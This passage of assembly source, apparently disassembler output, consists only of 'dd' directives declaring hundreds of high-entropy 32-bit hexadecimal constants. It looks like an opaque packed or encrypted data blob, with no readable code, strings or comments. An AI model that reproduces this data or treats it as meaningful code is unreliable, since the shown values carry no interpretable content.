25CC45CEh, 0D321767Bh, 6E03D185h dd 3F8060DEh, 0EE8F3B4Ah, 0E81C0B04h, 7AEE07A7h, 0D80C0B2Bh dd 10B77C83h, 16233B0Eh, 309218EDh, 0BBB67065h, 5F0F709Bh dd 89CE4709h, 8A4FF48Dh, 47904DE8h, 35DBF1E6h, 0A16C931Eh dd 0DDBD9053h, 0EF0EA6B8h, 3337B8CCh, 0AE20E057h, 69E82F64h dd 0D64D7911h, 2AB026C7h, 32012DCEh, 0C62235Dh, 17999490h dd 4123CF9Dh, 2E31141Dh, 0E84E42AEh, 915B06BBh, 5826F0D3h dd 0D210021Ah, 0DF765AA1h, 0B26C1C56h, 9E2EF3D9h, 0F1479240h dd 0C2299D01h, 40247C45h, 796B965Dh, 57E8020Bh, 0D011D306h dd 37311362h, 159DB0A8h, 8D950900h, 334A1592h, 0E81ACBE2h dd 987B6D21h, 299A270h, 0B3E6D27Fh, 3D02A9B5h, 42F19225h dd 97F10AD5h, 260B0908h, 0E281031Bh, 0A014603h, 6147FDF2h dd 8754DBE8h, 57E0E2E6h, 42010895h, 0AE536401h, 2133F868h dd 0F9240912h, 1FC09DD0h, 0C6C5F8A9h, 0E43100D1h, 3E41353Dh dd 6D06BC21h, 0F4E52270h, 0E8CE0B44h, 29FE058Ch, 2A3400F4h dd 0F998405Eh, 66B55357h, 13F7F9FDh, 7B0751A4h, 3314701Ch dd 10F03559h, 0B052691h, 4D1B2DB5h, 41C32BF6h, 93866BEFh dd 3124DD74h, 0ADDDE4h, 4FA22D29h, 3D731DD6h, 0CF7BFA74h dd 6FDBBF01h, 59F38BBAh, 4E51A0B4h, 98E1C8E9h, 6E6D9501h dd 7162E758h, 98F59517h, 84032Fh, 0D03165C8h, 0F25D34FDh dd 257803Eh, 0E8E22AF0h, 5769CAD6h, 9F000C37h, 651462E8h dd 3F8C9D85h, 36B0AD88h, 87F2379Fh, 508C51DDh, 290F6A56h dd 9D4DB529h, 85AF7F1Ah, 0F8FDA973h, 73671748h, 27F9790Fh dd 169F8610h, 30CBB28Dh, 0BD31475Ch, 1022423Dh, 66001091h dd 0E8A37DBFh, 7B950447h, 232CD095h, 39B5431Ch, 0EE044BD6h dd 8D4F2795h, 69DF3192h, 0DC83042Ah, 560984A9h, 785E8826h dd 25A7044Fh, 0B34D65A0h, 76574A30h, 50D99589h, 9C5D3E1Fh dd 8DC14032h, 1897B0A0h, 0A818DDh, 13CEB84Dh, 91E3A543h dd 0CD7F4297h, 2A94E04Fh, 8E0BABBEh, 2EB7584h, 5D05DDEAh dd 35958414h, 43AB0A3Fh, 949000DDh, 234591ADh, 8D968B7Ch dd 34D048DCh, 5E314D10h, 0F069C7B5h, 8B25ACB8h, 116ED2F8h dd 0A803B98Dh, 1D048C17h, 93FB0EF6h, 0CA20FEF9h, 9BF50ED2h dd 0B7BC2044h, 85891A9Ah, 1EB0AE7Bh, 0BC78193h, 78DE406Ah dd 8BC1F256h, 9B3B5BF7h, 0C69A8F18h, 20F40ADAh, 95EA27ADh dd 7F14A525h, 62E1D84Dh, 9A84695Ah, 0BB1A89F9h, 0FA000F6Fh dd 0BFFCF2A1h, 202626B4h, 424063E4h, 0EF16B504h, 0A018DDCCh dd 832B015Ch, 2AFF7976h, 5E35545Ah, 8412DCD2h, 0B2BFD2D9h dd 14245834h, 2A3C3331h dd 0A5BBC739h, 12674B70h, 0A86050BFh, 0B31A3764h, 16D14555h dd 0D2B45E61h, 0C76EBBC7h, 0FD735D00h, 44128B25h, 0E5FAE650h dd 6813240h, 7C0BE3D6h, 4927D07Dh, 40CACF12h, 6AC66C53h dd 43B4DF6Bh, 0A6BB4A43h, 8DF9E370h, 0CC58CCh, 2B7B8EF8h dd 45CA1387h, 2C0AAE00h, 0C935B547h, 3E26189Ah, 9C5C8B8h dd 2507FF82h, 422D5839h, 1ACB6126h, 60B8B369h, 7C5D6E5Ch dd 0F8B1D18Bh, 9FE6D246h, 0DC07C837h, 6465DB89h, 1AF108BFh dd 0D1DC637h, 0D8CBA502h, 308F2437h, 0F592BF09h, 0FD727433h dd 62F5A889h, 32A16CF8h, 9662CE13h, 0AA5D35EEh, 0E819B06Eh dd 0F6195CFEh, 38C6BDDFh, 0B5DC127Bh, 812B47BCh, 0F7A046CEh dd 0D8B7BDh, 22DA0CF4h, 204FE937h, 0BCDF6811h, 9DEA0DDFh dd 6E407270h, 0A401676Eh, 3F46F8D4h, 6F9071C0h, 9A3F899Dh dd 60388EDFh, 0F8F2656Bh, 0F941444h, 805E2182h, 0ECD58034h dd 8DF66A4Ah, 6EF02EF3h, 6B1C0D1Ch, 78236A0Eh, 0AD0917C2h dd 0DE60F442h, 13EF40E0h, 69014B92h, 80BDD5BBh, 0C13AF3D3h dd 2B2B158Fh, 778161DEh, 0D6F9D4ECh, 0B8E2016Dh, 2DD76080h dd 0E6628209h, 8AF48277h, 7046DBC5h, 3B012691h, 0CC9A6FBBh dd 553414F5h, 0DBC04F8Bh, 0FB068547h, 0AEA4C2A7h, 38A8B6E9h dd 62B7E985h, 120F989Dh, 3EA5A2BBh, 0B03553Dh, 0A0D2890h dd 0C87D4BEFh, 0B3CE8C3Fh, 955E64BDh, 1B802259h, 8372A7D0h dd 266200D2h, 0A9302B36h, 4D9D6A9Bh, 0A838E169h, 0C5086B53h dd 4A5F1B32h, 95319009h, 0DE877EFDh, 0AF055371h, 8AA5B87Ah dd 0F849707h, 0FCC71259h, 0AB1B4039h, 800731B5h, 0A0D1275Ch dd 46DA3881h, 8D49816Eh, 435B0234h, 0BDA2E72Fh, 2C6B5819h dd 2F97C083h, 4D27F910h, 0DD88ED00h, 0DE61E9CFh, 0AB291703h dd 9419E933h, 28051086h, 0BF906100h, 46567971h, 0D1275054h dd 89D6231Eh, 817614h, 5410ECD3h, 25D88BCAh, 9DE4905Bh dd 8F4FD100h, 0D3E1C2B2h, 81C900EAh, 278837F3h, 1125540Dh dd 0DEA25C6Ah, 175F1F02h, 40696F20h, 133A601Ch, 0B66A2E0Dh dd 98D7F061h, 0BDA14A4Ch, 8DAD292h, 8736EA80h, 60024EB4h dd 0AD9509E7h, 198D0704h, 0BD4191FEh, 52585h, 0F176D37Eh dd 6FBCD1FFh, 315204DCh, 0BA2A0985h, 97B3D1BCh, 0C5E62F4Fh dd 43CEE8E0h, 91BDB601h, 840F026Ah, 0BF124463h, 480C6DBh dd 0DC256678h, 0FB91840Ah, 3855E216h, 0E81C518Eh, 0A1965F51h dd 37B5F1AAh, 0FD02003Fh, 0B569BD7Eh, 0F8502714h, 4A9938E4h dd 0B180DD9Eh, 0D25E9F9h, 882F45B5h, 6602953Bh, 0E9FC78BBh dd 85101EFAh, 0F4A1D97Ch, 0AB883A0Bh, 4E109590h, 83013176h dd 0BA23151Bh, 0E32EEAABh, 63470549h, 0E1C3AD45h, 4EEDB02Fh dd 2498033Fh, 609084A0h, 0DC5761EAh, 0BABFC45Ah, 0F99689BDh dd 2A6B8FEh, 8EDC67D2h, 0CE60BD37h, 95278B60h, 0EDB97275h dd 28EFE5CFh, 0FDB1E879h, 0EA341400h, 2D6E6704h, 5241C73Dh dd 6A5B0027h, 0B5090BFFh, 6F90DD1h, 0EDDA8925h, 0C592C096h dd 0D63548E8h, 1FE96C50h, 40110450h, 2FF5E909h, 6CE45552h dd 0ABDE0039h, 0ED44EFEEh, 3D15C619h, 5EA8B02Fh, 8E2053A1h dd 0E4ABC10Dh, 3EFC8A71h, 0E6FF59D2h, 2DDE79C7h, 0FE4C8B6h dd 283F1E00h, 6E927C58h, 17F70142h, 0BAF80788h, 3FB72A06h dd 9D9E5800h, 0BDE20A1Ch, 5BD46500h, 21681DFDh, 8D312DC6h dd 8B122252h, 3A0460C1h, 0F5041041h, 89A1F161h, 0F424E9AEh dd 0C9D949F7h, 0BD1521A6h, 0C82B1AE4h, 0DB4041CCh, 728B0B60h dd 459D27D1h, 9833A7Bh, 272DB18Dh, 31A8857Fh, 3DA0393h dd 89ED21BDh, 563EB042h, 0D7B046E7h, 686B112h, 3B28249Ah dd 24459FD0h, 258DCA8Ch, 228B5575h, 41A01322h, 84AF1B5h dd 868005F9h, 0CB54EFBEh, 0F9615B25h, 9CD0A524h, 0FE824CB5h dd 81314191h, 0FA69C79Eh, 1A42A583h, 3B86A1FEh, 0A43C8934h dd 507C8A90h, 0E2DF1D2Bh, 59E96B0Dh, 7B51001h, 83B7E14h dd 962D1D23h, 11605CDEh, 0CB97540h, 2790DEA9h, 3109E882h dd 5B6A615Ch, 0D0157800h, 152BD12Ch, 0B4AD2C17h, 0AB75F2DAh dd 7C880B44h, 0DEB98471h, 0BD099107h, 0FCB64CE9h, 39801791h dd 29018187h, 6E6AF9A9h, 43A604BCh, 22BADE0Eh, 58ABAF9h dd 4CD0818h, 0C233AD03h, 0D0602CD1h, 75123EB0h, 0E0F5A6F4h dd 912ECB5h, 3CC75F8Fh, 0EC22E6Dh, 0F88C403Ah, 7B885B0Dh dd 34D200B9h, 6C13D118h, 6DC21386h, 0DDBF0526h, 2B7ABE0Ch dd 66CED502h, 0D142FB71h, 4E34AC82h, 78C19E41h, 0B07C46FBh dd 1CF8B983h, 86C28B50h, 8C10318h, 0D0ACD2F1h, 0B7955819h dd 2C5A136Dh, 5F5A5291h, 0EF170E0Bh, 1E49418Bh, 0CD4AF88Eh dd 8F0F8316h, 8D08B8A2h, 0AB2C1ADDh, 2D115908h, 0A3657A41h dd 62583B27h, 0D887038Ah, 0BB64A174h, 3D7328C0h, 7F6A1E9Eh dd 0E8118D67h, 3237F94Eh, 4136CCA0h, 0FA0B93Bh, 64CA0391h dd 79C0E1FFh, 679EE9D7h, 8FDE460h, 5267C866h, 1200EFCh dd 0ABBD544h, 71936486h, 0CAD94F12h, 3856D28Dh, 66E903F4h dd 89BD7F6Ah, 0C264B192h, 723BB00h, 0C618BF60h, 0F1724F8Ch dd 290D20FEh, 0E18000F5h, 0BF6DB504h, 72D1C9C0h, 0B7884C9Dh dd 12AEE307h, 27F6BC0Ah, 6F43EFBFh, 0FDBA13B3h, 2CA64CC8h dd 0CDA77D99h, 83C0C481h, 51E63580h, 1A8AE4BFh, 192D8533h dd 1D937F5h, 435F2B73h, 0B78B2091h, 6090FF02h, 404FBE66h dd 0CBFE4Eh, 50616A2Ch, 412BEFBBh, 0E290602Eh, 0B4AA00DEh dd 0D6196E3h, 0A5BE810Fh, 0E73EB78Eh, 0DDC639CFh, 20CF98CDh dd 68041055h, 9E189765h, 578044BCh, 5C5B1563h, 9AA04095h dd 6206286Ch, 6BEB3DE7h, 0C51277D8h, 29B3FA2Ah, 0B99C4100h dd 0A2B32535h, 8589E507h, 7919FC21h, 57238173h, 0E8944DACh dd 0EFBD01C2h, 7B804098h, 619F8315h, 6BBB19C9h, 0EFC7FB12h dd 0FEC2EDF1h, 0AD00DCFEh, 0AECF6CAAh, 25FEBAACh, 4193F88Bh dd 739741E8h, 0E7A5BF05h, 58345D6h, 6083051Dh, 0D475BD29h dd 9220BF97h, 3EEA1BA2h, 8B82B021h, 56615AF7h, 0EBD18D98h dd 79A600Ch, 5E89D25Fh, 1C1A7A2Bh, 0F5C0A448h, 0D6EB8021h dd 0BF060089h, 4B0DB9CDh, 0A093EDB7h, 5780F51Fh, 890A35ABh dd 0B1045E46h, 501F83E1h, 181E880Fh, 0B07E861h, 6304F595h dd 4B3A79F3h, 5E8E8BFCh, 0FEA480FFh, 0DA024854h, 0BD85B818h dd 9E2434B4h, 4C09DC34h, 1E3278Eh, 0DAE6CB44h, 24D9A471h dd 4E2892Eh, 80EEDEC1h, 0E611DE3Fh, 506807F0h, 45C15B2Eh dd 8016B852h, 1E191569h, 0D32200DEh, 0B1329A3Dh, 4E0048F0h dd 2F135AACh, 0BBF310Fh, 289697F9h, 82A3BC0Ah, 3EC3D5AFh dd 0DC21DEh, 202A1E4Dh, 0F1017938h, 0AF8D4E24h, 1DC39065h dd 0A0B2A4FBh, 63264900h, 0B4DE589Ah, 0BA133707h, 32994CBBh dd 0D7A600DFh, 0C0610DC9h, 2B46DB0Ch, 45B185C7h, 603AEFADh dd 9650ED45h, 1672C000h, 662D65ECh, 77D8588Bh, 97346041h dd 0C05E116h, 0BBA19D9Fh, 0CE8EA003h, 4E21E953h, 50C98C21h dd 0F60C302Fh, 1873920h, 0AD10E8C1h, 4C82200Eh, 584A03FCh dd 0EBE76E43h, 81367736h, 857B0E64h, 29501B8Ch, 1821D028h dd 1135833h, 4E1B5742h, 0BBF95B0h, 72F88D0Bh, 6830F651h dd 8FB8F4h, 3B3DBA85h, 5F02428h, 5B5C7402h, 0E597A265h dd 2C850B0Ah, 8BDB33C2h, 0A51DCA70h, 55029ABDh, 0A389F485h dd 5BD8124Fh, 2418AD10h dd 0AD081FF9h, 0B352021Ah, 857E5B5Eh, 5F012332h, 42B4C774h dd 0DF06C783h, 0F62E040Dh, 2070E062h, 3C0B00CEh, 0E4F1F7CCh dd 0D94E8AFDh, 16A52801h, 287E8D0Fh, 640061C9h, 630233B3h dd 178FA56h, 0E29D3CCAh, 0FC77F0C6h, 3A0E9579h, 62516050h dd 68615E59h, 0A4FA8A52h, 0B3ED9D7Dh, 657B30C0h, 0D6632E82h dd 28BA1FBDh, 27292DA1h, 8F40674Fh, 7CE62321h, 5C125CA2h dd 21090D17h, 59D6FAEFh, 0B86F7DC9h, 6BAD02F6h, 7758F96Eh dd 750916C1h, 0F0A9368Eh, 571088Ah, 1D935C5h, 0FCDDB051h dd 86894F0Ch, 4A8B2DC4h, 4A46A99Dh, 0DC8AD730h, 509200BBh dd 0C283235Dh, 3EB9F504h, 9134D180h, 4FE2F2Eh, 5089EFCDh dd 0B9BAB920h, 7F302831h, 49084ED5h, 105FC9E2h, 7C10E9ACh dd 0A46DBDFDh, 19A8A4CFh, 86D108ECh, 0E00BDF09h, 0B886A882h dd 8629BD55h, 1E3E5A19h, 0B9CBE306h, 904A6C5Ch, 6AD948BCh dd 0A221E6A5h, 2819D93Dh, 1C599D3Eh, 0F61C8B2Dh, 0A00FF4B9h dd 8234BE9Dh, 7C9FF579h, 15B3618Fh, 0D9C82B50h, 17250011h dd 8F5F47A6h, 0BD008E42h, 0CC061C79h, 21ACE01h, 0B35A7736h dd 0EA4A5F14h, 27D37768h, 419583ACh, 6241177Fh, 0CA73569h dd 12C0BEEDh, 98F8BAFEh, 42F57EB3h, 264D34F9h, 0C1629BEBh dd 0F9650B1Dh, 5D19121h, 14BB5000h, 415F1817h, 9B05AD7Eh dd 61FF261Dh, 328C0F8Bh, 0DC84FC3h, 14AE00A7h, 0BA31EF41h dd 0D700AC01h, 0FF49E35Dh, 0B08768D3h, 98DA8452h, 6D95161Eh dd 0E815ED2Eh, 3DF304C7h, 81532E7Ah, 21365CBh, 8457925Fh dd 0ADBEDF6Eh, 356B9326h, 8BD51100h, 0EE6834E2h, 0C829CE12h dd 0D9CF1B02h, 2DEA8257h, 802040Ah, 0F780842Eh, 5193C15Ah dd 77036D11h, 0ED7C1841h, 0CAE56080h, 0DC009887h, 72AB6249h dd 0E0E35EDFh, 2AF218CFh, 0B50928C6h, 5B82955Dh, 1C2F94B1h dd 0FCC72E74h, 0E1346100h, 0F8D30F8Dh, 623B017Fh, 0E0D785BBh dd 0E2022E40h, 0F7F3CBE9h, 0BC0F8DBDh, 0DB9C0F4h, 0E42B9DA6h dd 8B83A855h, 785093C1h, 37251A09h, 7A6EC629h, 0A5CA3BBFh dd 74B35089h, 63BF8250h, 0E664CFFh, 0D5233EC3h, 9F9BB788h dd 0BB1E6860h, 62E0B482h, 0A3D65471h, 0D8776975h, 834CE640h dd 0C26DB7C0h, 5C79D5E2h, 0E85293BCh, 0F400D2C8h, 276E133Ch dd 0B66A5E5Bh, 7013F1ACh, 0FCEE3121h, 0DA094FB1h, 154C259h dd 5E396686h, 2EB5F995h, 208D26D8h, 0BB042CBDh, 1CF51B75h dd 0E6D6CDACh, 0F2E0E721h, 163FD4F9h, 0B893A8CEh, 29E08085h dd 0F50869Ah, 5110AFC9h, 0C2F49904h, 3871D12Ch, 4847811Fh dd 0DD500B19h, 25E51ECEh, 295091F8h, 44E91495h, 0BF046653h dd 26A0B1Bh, 2E026EAFh, 95090FDEh, 17A76412h, 0C85031A7h dd 270084B4h, 0BFBE4B49h, 6AA70E98h, 200F587Fh, 0CC52CE2h dd 4A6252A0h, 4C3A91FDh, 0E0A5382Bh, 25BFA344h, 80FE9959h dd 880962DEh, 0C2561975h, 69C9DCE9h, 0A911BF07h, 8B47B05Ch dd 92310F63h, 0F84D898Ah, 0C09C96E9h, 0FD073306h, 3571148h dd 0C19F0A93h, 397C091h, 97DBE4B0h, 5B517423h, 5ABB0C07h dd 5589B7B6h, 1F4D3D32h, 0F2947F60h, 2529ECB1h, 0C541C585h dd 2652E5Bh, 0A9B823A9h, 59034E0Ah, 9259B31h, 4B24597Bh dd 2D4208CDh, 0F5E15F4Ah, 0C5F81301h, 0B0B530FBh, 7197614Eh dd 67ED4B9Bh, 7C6F0D40h, 7D6DB76Ah, 0B9D2D8E0h, 0E6AD2C53h dd 12D3A6C3h, 8C22E234h, 166039F7h, 0F4999D29h, 6134D13Ah dd 0D4FAE4B0h, 4C98C9E2h, 3C0089F2h, 9D7BC8CAh, 7F788E17h dd 0E40217BEh, 0B1503071h, 5F071D4Ah, 0ECA7CA85h, 0B0D04EF0h dd 6B3B3CF6h, 11BF6800h, 5B4273A5h, 1E9E0150h, 0BFF0F195h dd 77404B6Bh, 970368h, 55BD0B4Dh, 7B2B72Bh, 9EAB6A62h dd 6B6FECF4h, 0F6A972D9h, 2DC8582Bh, 1EACB75h, 32BDB778h dd 1632C8FEh, 2222B8DDh, 0D84B2B01h, 0CCB30A84h, 2B97B04Ah dd 6C1BD12h, 0BC01CE5h, 28B1259Dh, 104413C6h, 0A5851109h dd 3B332A19h, 7A04C316h, 8ACEBAE8h, 2201E272h, 0BC504E1Dh dd 925F28C4h, 89C11683h, 9D585195h, 2AD065BDh, 1DF0F160h dd 7766F7FDh, 8B557FF2h, 2D50DE9Ah, 0CB00C8B7h, 37B2C23Dh dd 0D7B095D1h, 0C8A861BDh, 0E587EB9h, 0D7A18D76h, 5DD1112Ah dd 0FCFED2ACh, 10860F16h, 39189FDCh, 658028FFh, 0C3802501h dd 2B275F10h, 70035BC0h, 9339AC5Dh, 1DA000EFh, 5CBFAAB7h dd 7C160B10h, 8B7D22Bh, 39E4FD83h, 0BA08A17Ch, 4B090260h dd 7E1F9B2Eh, 121BB79Dh, 9FAB228h, 0A5258589h, 9E20E8A8h dd 5F3BFAh, 0D0EAC8D3h, 0E1DECF1Ch, 0E6139728h, 89036C2Eh dd 795B9F32h, 8AB38920h, 8084D359h, 0B8AC04E3h, 0A82429BDh dd 0E4692EEAh, 4FE20190h, 60F1E716h, 25626BD3h, 0D4F7B908h dd 0C812DCDFh, 0A8B2DB41h, 0D6F9289h, 93EE4760h, 0AEC702B1h dd 71642F74h, 9252D74h, 0D649C2A7h, 7404F412h, 665657BDh dd 8D4A86A8h, 7D203AC9h, 404BEEDh, 1759F5EBh, 95C3816Ah dd 2CF82D14h, 2DE51E1h, 0BF873788h, 0C962A769h, 0F453D554h dd 0CC59F548h, 13E98C15h, 4AD8DD07h, 87E1BB4Eh, 38201589h dd 0E29495DAh, 8E217745h, 60C0497Fh, 827255FBh, 0F62DBD4Ah dd 0D98C8B80h, 63825CB7h, 0A0B54DFFh, 0B8FE206Ah, 64BA6269h dd 5F041729h, 874D05B8h, 482BE17Dh, 4D6B2AE5h, 652E4007h dd 960B42C7h, 0F1DDC2h, 0A426D47Fh, 31109F62h, 5B00B02Bh dd 0C1F3AB69h, 4A06959Dh, 0FFCDD6Bh, 6466C17Fh, 126BEE3Eh dd 58F6A303h, 0D1C938h, 0F2F15D48h, 499E02ACh, 903B46ECh dd 4F41FEh, 5E263AA2h, 98B60064h, 0BF50B2E5h, 0C012B1F1h dd 2BDB904Ch, 0D86A5785h, 6400AE7Eh, 8AE092C6h, 7AD1F1Dh dd 689CA73Ah, 0CC0712BBh, 44003254h, 8A341748h, 6BF3BEDAh dd 8927AC5Eh, 0E36CEDFBh, 8BEA31E4h, 5610B60h, 5AAFE980h dd 808E9E01h, 9A328D82h, 89A809B1h, 64F8B59Dh, 56E81295h dd 8525DEEDh, 6403CDF5h, 0BDC9601Ch, 0FA83021Ah, 9EE43CE3h dd 0CA558340h, 6643D025h, 0F37BDFAh, 8BF2B804h, 0C999C1FAh dd 897E4116h, 0FCB63E2Bh, 8021871Eh, 0D23DDBA5h, 0DD01AF2Ch dd 0D99A4A1Ch, 75790689h, 0B1408CB8h, 0DC314B35h, 7B0FBBA9h dd 0B25CDEAFh, 484C09E1h, 0C0D50044h, 0CBAC557Bh, 1D028F40h dd 50969172h, 418FF52h, 4C006DE0h, 0B7BAEE4h, 593204Bh dd 0DBECCC03h, 0A220AB9Ah, 9C6C48BFh, 8896141Eh, 0B718FD12h dd 224D48ECh, 0AD90B581h, 7601CA2Ah, 0B69C08CFh, 28C4D420h dd 36735917h, 5E685F01h, 2A986FF0h, 6FA4992h, 0DF250C51h dd 0CD4645Fh, 67AF13A1h, 0F34A3D94h, 2E89B4CDh, 0D7F150FEh dd 75817300h, 9C349CE6h, 9D0102E9h, 891232E5h, 0F4185EC2h dd 14320F0Ah, 0D2258961h, 0CF169595h, 1E4449Dh, 56270B47h dd 2AC7AAB6h, 0D02FF628h, 3D10A629h, 3FE91C24h, 0F46BF625h dd 3735830Bh, 255C502Ah, 0CC67C93Dh, 7927B35Ch, 9A53C450h dd 89C46825h, 807F378Ah, 0C12236Dh, 2908F7B8h, 0F27ED9Dh dd 521F1FBBh, 84FFB26Fh, 7ABA0415h, 0AA8A00D6h, 11EF2123h dd 31E10DE5h, 4B779585h, 3DF1315h, 0D0A1CFA7h, 0A71EC08Ch dd 21B5FF10h, 0D4019D85h, 0D225ACE9h, 4080EA9Bh, 0A7FDD57Bh dd 6AA6D95Eh, 7682BF09h, 0B898359h, 7029779Dh, 10A54959h dd 77EC53C8h, 27B01290h, 109CA8E5h, 6104347Dh, 0EDE8965Fh dd 0A4D60001h, 60C8081h dd 6439093Ch, 0D792820Fh, 0B50F69E4h, 0A1771AC9h, 5B4E4FAAh dd 0C9BDFC6h, 2DD69FA8h, 15861901h, 96806460h, 0FB8BD79h dd 72D56E02h, 797480D9h, 0B7FB008Ah, 441AA4F1h, 0C49BAE00h dd 0F2E313Bh, 25E706Ah, 0F35DBB30h, 0ABFA661Ah, 83A4BD97h dd 3DD8F65Fh, 0F308C0FCh, 3A97B9D1h, 64566D7Ah, 0A46BB819h dd 272926Bh, 0FCCA38BBh, 9B666DD7h, 0CF9F1800h, 2675C11Bh dd 8D434BB3h, 0D58D2E79h, 9557612Bh, 27B72ADDh, 0C491B8E5h dd 6FABC283h, 0C9F40B35h, 0BDB7E48Bh, 0DC1D8B90h, 33235C00h dd 0C67886F2h, 1806E26Eh, 0A2F86FBEh, 18972050h, 1B8606Dh dd 701C2C57h, 24F9BD31h, 189761D9h, 2885014Fh, 0B07F29EDh dd 32752025h, 2CBCEBEh, 0F110D29Bh, 0CB16B071h, 0A9F0BDDh dd 0BB61DE2Fh, 2BA159h, 20FCBF68h, 0ABA1396h, 2A2F59E9h dd 1D23D96Bh, 0DD752E00h, 407A31Ah, 0FDA90AEDh, 0A2E0ACFCh dd 0B5292038h, 0D9B51125h, 0F5561F5Bh, 0B87FFDB1h, 0E4723E4Eh dd 5D0E4081h, 332B73D4h, 0D9DA4A3Eh, 0BC016C8h, 0BBBC12Eh dd 592747E9h, 3A950766h, 80A035D1h, 0AEEE08E1h, 800A2C9Dh dd 0D7AC6CC1h, 711AE508h, 0EFD7DEDDh, 6F8240ACh, 0D1381A7Bh dd 6599253Dh, 2F5711CAh, 5BEC6156h, 89CC322Bh, 0B8A9CAE2h dd 4D9DB650h, 6CECC09Ch, 0E633AE29h, 806EF87h, 28C18D61h dd 144601Ch, 7A93E995h, 80DB131h, 0D974C87Fh, 510F2C69h dd 13CDE9F3h, 0A104A944h, 0FE90131h, 0D6C6FFF4h, 60E2DC2Dh dd 2EB7C20Ch, 4115E8B5h, 20C1D913h, 854AF17Eh, 0E62ACCCDh dd 0D1B51950h, 2925019h, 8FF00F52h, 5FF0ED92h, 82F08552h dd 0A8676B6Eh, 0EA498804h, 6FBA8656h, 0A5B209D1h, 15647Ch dd 0C07830F4h, 61D00504h, 1639873Fh, 0F71EAF26h, 0D39DF06Fh dd 0D8F918B1h, 0CFB7B2A5h, 744A40E9h, 60125CABh, 81ADC083h dd 5B00DEBCh, 4BB20E8Fh, 1F77749h, 0D0E6BB32h, 0D9504D87h dd 4718C4D6h, 0BD99A6ABh, 64892FC1h, 1456A72Bh, 5E0E17F1h dd 2DB70204h, 63D41EB8h, 0A929A512h, 6F9D0BEh, 0D1FFFE9Ch dd 3195254Ah, 70C69B51h, 0B837B771h, 26FEE600h, 7A78355Ah dd 451018Fh, 26AF98Bh, 4A9EA660h, 0B908EE4Ah, 0AC61161Eh dd 9FB22ECh, 1F519D23h, 536B4FD9h, 70C150A9h, 0CC357602h dd 0A1059D03h, 0EE6E995h, 0AFCF2C2Bh, 0DB31D90h, 0F7F03AD1h dd 0F0A81DA9h, 0D6DB836Bh, 58D2728h, 881941EFh, 2925EBA3h dd 4ADB6C7Fh, 0FB178C8Ah, 46BDBE92h, 1E45957Bh, 4D68224h dd 7118D484h, 0F8B6D275h, 0C201EBC8h, 3AFAA95h, 186A00FCh dd 0BEC81737h, 2E264639h, 0DD0B2A56h, 22B5F106h, 0DFB7BFF0h dd 2A801A11h, 9EE147E8h, 42F66426h, 95877A27h, 4D5FB33Ah dd 8E7A4072h, 0BE0228E5h, 0B9E2399h, 0EA7E75BDh, 0B7FF6A09h dd 8B9C80F6h, 9BD29F8h, 0B7134DD3h, 0D75009E9h, 0D8C34AE9h dd 14131C3h, 7168206Eh, 0C2012D49h, 16AD0342h, 0DF30B075h dd 0B0D209Dh, 0A84952B5h, 95F09338h, 4F0A98A6h, 0F69718C1h dd 92B4234h, 9459FC99h, 459D0104h, 0C104ECFDh, 8240D781h dd 9A566B39h, 0A06FFC27h, 8BE998F0h, 1345B1F0h, 0C82B6100h dd 7C409D96h, 0CBC199h, 2D2F7387h, 0D18B4B58h, 134501B8h dd 0AF25242Fh, 0B59762Ch, 0E95BF84Dh, 39665C56h, 7D2EA071h dd 0CC449528h, 0DFB70F1Ah, 631BF50Ch, 4882A8E0h, 81C3900Fh dd 654F0125h, 2F2C536Eh, 0F0C4E387h, 8A3F5D5h, 32CEA495h dd 0AD68E945h, 0C475C05Dh, 1FB099EDh, 8C0459h, 949A277Fh dd 0CB1C4AEFh, 8D7A1996h, 350E810Fh, 5859E00h, 0C488324h dd 0C43658F4h, 2B011E79h, 2A20319Dh, 8B26F598h, 94EF3871h dd 0F1BA51Fh, 0EA33B7FEh, 0FF499195h, 8D094498h, 65330D25h dd 372C08FDh, 1D467Ch, 0A54C3C8Bh, 1301A456h, 0F1A91476h dd 56CD1681h, 1BFC0978h, 26C44595h, 9111075h, 0FC0891B9h dd 6100F463h, 0BBAB919Bh, 252955FFh, 0FCE41B5h, 2D4259Eh dd 3F03347Bh, 0BC8210E7h, 1C5209C1h, 61AE2358h, 61D98B65h dd 2957082Fh, 48FCA43Bh, 12B8D80Eh, 30422F3h, 0AFD22BF9h dd 3F00606Eh, 88482A76h, 5634E02Eh, 6DAA67A9h, 0A12A7615h dd 17207494h, 0BB8A02B4h, 2AC8226h, 21F010F7h, 0CF551F54h dd 39442DF1h, 390EE7A6h, 607A322Dh, 0AC71B135h, 0FEE12427h dd 16A03B6Dh, 12975B71h, 65377728h, 0ED925501h, 5D980A7h dd 0C81FDA2Ah, 7BEEC015h, 1A97FA8Bh, 0ADB34045h, 48568221h dd 8E15915Dh, 56BF4048h, 9F785CF8h, 0BE096BB7h, 3BF3802Ah dd 0B53D22E8h, 0AA24FE84h, 0BEA4F038h, 6700F6BDh, 0C7FEE962h dd 16A1F895h, 89880F80h, 560E7AD5h, 1A5FA996h, 510D4181h dd 0DD5F0C28h, 526A2AFAh, 11415E00h, 9E0F02E7h, 60520A13h dd 41D9F2AFh, 0EAD16A80h, 7E885F61h, 6F2517B1h, 0A6764056h dd 0CE27DA30h, 0AA89D89Dh, 505A560Eh, 75820478h, 5C595889h dd 0D9A9FD49h, 0DE70277Bh, 0AA5405B0h, 0B2F9E3CDh, 78050027h dd 0CC93BB7Fh, 5A7F9Ch, 1A962ADCh, 811611AEh, 6C80D491h dd 0D33BBEBAh, 60D52D64h, 0A3067EEAh, 5B13AD91h, 6D0A315Fh dd 58C97427h, 3EE945A1h, 1A056F6Eh, 6B60F8ABh, 5C98021Fh dd 5CE4EF80h, 0C1542DB7h, 0F1717DCh, 560A928Ah, 1F591540h dd 16605F80h, 214DBD09h, 7AE180D6h, 209D5D9Ch, 0A49509B5h dd 145028C0h, 0E5C31F93h, 9356CE62h, 41C46D6h, 8C610727h dd 2B776CC0h, 8B6D95A3h, 3C601464h, 0AE3AB390h, 35AE6250h dd 7F278924h, 0BF191206h, 6BC0BD71h, 73CA0E68h, 0D1009580h dd 7FAB39F1h, 71DC1ABEh, 38B90969h, 0AB509B28h, 2AFA3981h dd 1423D86Bh, 0F8FCBD01h, 0B8388C0Fh, 220D9D82h, 25C35909h dd 0DE7D5Ch, 0CCB41DF1h, 84CBD04Fh, 0E912FCE6h, 0F57B01C0h dd 77146400h, 600F84D8h, 91BE3597h, 1978801Dh, 788FBB1Bh dd 0A921336Eh, 94DD8DD6h, 0CF2AAA9Eh, 0EF96B980h, 11128AFCh dd 0E3B179FAh, 0B44DDCAh, 0BFCE9895h, 0E56F7F55h, 